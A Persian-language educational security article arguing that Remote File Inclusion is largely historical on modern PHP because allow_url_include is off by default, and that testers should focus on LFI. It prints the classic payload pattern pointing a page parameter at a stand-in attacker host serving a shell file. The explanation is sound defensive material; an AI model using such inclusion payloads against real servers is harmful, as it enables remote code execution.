RFI چیست و چرا باید آن را تاریخی دید؟
گنجاندن فایل از راه دور (Remote File Inclusion) که بهاختصار RFI خوانده میشود، حالتی است که برنامه یک فایل را از یک URL بیرونی میگنجاند و اجرا میکند. الگوی کلاسیک آن ?page=http://attacker.example/shell.txt بود که مستقیماً به اجرای کد روی سرور میرسید. در دههی گذشته این یکی از سریعترین مسیرهای رسیدن به RCE در برنامههای PHP بود.
اما نکتهی محوری این صفحه همین است: RFI کلاسیک روی PHP مدرنِ با پیکربندی پیشفرض کار نمیکند. بنابراین ارائهی آن بهعنوان یک آسیبپذیری رایج و جاری، گمراهکننده است. تکنیک زندهای که باید عمیق آموخت، نسخهی محلی آن یعنی LFI است.
چرا RFI روی PHP مدرن کار نمیکند
«RFI یک آسیبپذیری رایج PHP است.» نادرست و قدیمی است. تنظیم allow_url_include بهصورت پیشفرض روی 0 (غیرفعال) است و از PHP نسخهی 7.4 منسوخ (deprecated) شده است. گنجاندن فایل از راه دور از طریق include/require دقیقاً به همین گزینه نیاز دارد و علاوه بر آن به فعال بودن allow_url_fopen هم وابسته است. در نتیجه الگوی کلاسیک RFI روی هیچ نصب پیشفرض PHP مدرن اجرا نمیشود.
نکتهی مهم دیگر: هر دو تنظیم از نوع INI_SYSTEM هستند، یعنی کد برنامه در حالت عمومی نمیتواند آنها را در زمان اجرا تغییر دهد. به همین دلیل حتی برنامهای که خودش میخواهد این رفتار را روشن کند، بهسادگی نمیتواند.
جدول زیر تفاوت وضعیت این دو خانواده را در وب امروز جمعبندی میکند:
| ویژگی | LFI (زنده) | RFI (عمدتاً تاریخی) |
|---|---|---|
| منبع فایل | روی همان سرور | URL بیرونی |
| وضعیت روی PHP پیشفرض مدرن | کار میکند | کار نمیکند |
| تنظیم کلیدی | — | allow_url_include=0 (پیشفرض) |
| اولویت در گزارش تست نفوذ | بالا | پایین، با ذکر شرط |
پس RFI کجا هنوز دیده میشود؟
اینکه RFI کلاسیک روی پیشفرض مدرن کار نمیکند بهمعنای صفر بودن آن نیست. جاهایی که هنوز میتواند ظاهر شود:
- محیطهای عمداً بدپیکربندیشده که
allow_url_includeرا روشن کردهاند. - پشتههای قدیمی (legacy) که روی نسخههای خیلی قدیمی PHP اجرا میشوند.
- مسابقات CTF و محیطهای آموزشی.
- زبانهای غیر PHP با سازوکار گنجاندن از راه دور مخصوص خود؛ مثل برخی مکانیزمهای
includeدر JSP/Java، دستورهای SSI، و تابعdocument()در XSLT.
در همهی این موارد، یافته باید با ذکر صریح شرط پیکربندی گزارش شود، نه بهعنوان یک ریسک پیشفرض. برای درک بهتر زمینه، آسیب SSRF را هم ببینید که گاهی با گنجاندن منابع بیرونی اشتباه گرفته میشود؛ تفاوت این است که در SSRF سرور صرفاً یک درخواست به مقصد میزند، اما در RFI محتوای واکشیشده بهعنوان کد اجرا میشود.
چرا این تمایز برای یک مدیر فنی مهم است؟ چون تخصیص منابعِ رفع باید متناسب با ریسک واقعی باشد. صرفِ وقت زیاد روی «بستن RFI» در یک پشتهی PHP مدرن که پیشفرض امن دارد، در حالی که LFI و کنترل دسترسی رها شدهاند، اولویتبندی نادرستی است. محتوای آموزشی قدیمی که RFI را همتراز LFI معرفی میکند، همین اشتباه اولویتبندی را منتشر میکند.
نمونهی فنی و کشف در تست نفوذ
شکل الگوی کلاسیک RFI که روی PHP پیشفرض مدرن کار نمیکند:
# الگوی کلاسیک RFI
?page=http://attacker.example/x.txt
# دلیل عدم اجرا روی PHP مدرن:
# allow_url_include = 0 (پیشفرض) و از PHP 7.4 منسوخ استدر تست نفوذ وب، تستر همان پارامترهایی را که برای LFI بررسی میکند، برای احتمال RFI هم با یک URL تحت کنترل خود میآزماید (مثلاً با مشاهدهی درخواست ورودی به سرور تستر). اگر برنامه فایل بیرونی را واکشی کند، پیکربندی غیرمعمول است و باید با ذکر شرط گزارش شود. در عمل، انرژی اصلی روی LFI و بازبینی کد منبع متمرکز میشود.
برای مشاوره دربارهی اولویتبندی درست اینگونه یافتهها، مشاورهی امنیتی در دسترس است.
ارتباط با OWASP و CWE
RFI در خانوادهی گنجاندن فایل و کنترل نامناسب تولید کد (CWE-98، «PHP Remote File Inclusion») قرار میگیرد و در OWASP Top 10:2025 ذیل دستهی A05:2025 تزریق و در راهنمای تست OWASP زیر آزمونهای Code Injection دیده میشود. با این حال، وزن واقعی آن در برنامههای مدرن ناچیز است و در گزارشها باید نسبت به LFI در اولویت پایینتری قرار گیرد. مرور دستهبندی در صفحهی OWASP.
پرسشهای متداول
آیا RFI هنوز یک آسیبپذیری رایج است؟
خیر. روی PHP مدرن با پیکربندی پیشفرض کار نمیکند، چون allow_url_include بهطور پیشفرض غیرفعال و از PHP 7.4 منسوخ شده است. امروزه عمدتاً در محیطهای بدپیکربندی، پشتههای قدیمی و CTF دیده میشود.
تفاوت RFI و LFI چیست؟
در LFI فایلِ گنجاندهشده روی همان سرور است؛ در RFI فایل از یک URL بیرونی واکشی میشود. LFI تکنیک زنده و رایج است، اما RFI کلاسیک روی PHP پیشفرض مدرن عملاً کار نمیکند.
چرا allow_url_include جلوی RFI را میگیرد؟
چون گنجاندن فایل از راه دور از طریق include/require دقیقاً به این گزینه وابسته است. وقتی مقدارش 0 باشد (پیشفرض)، PHP از واکشی و اجرای فایل بیرونی خودداری میکند.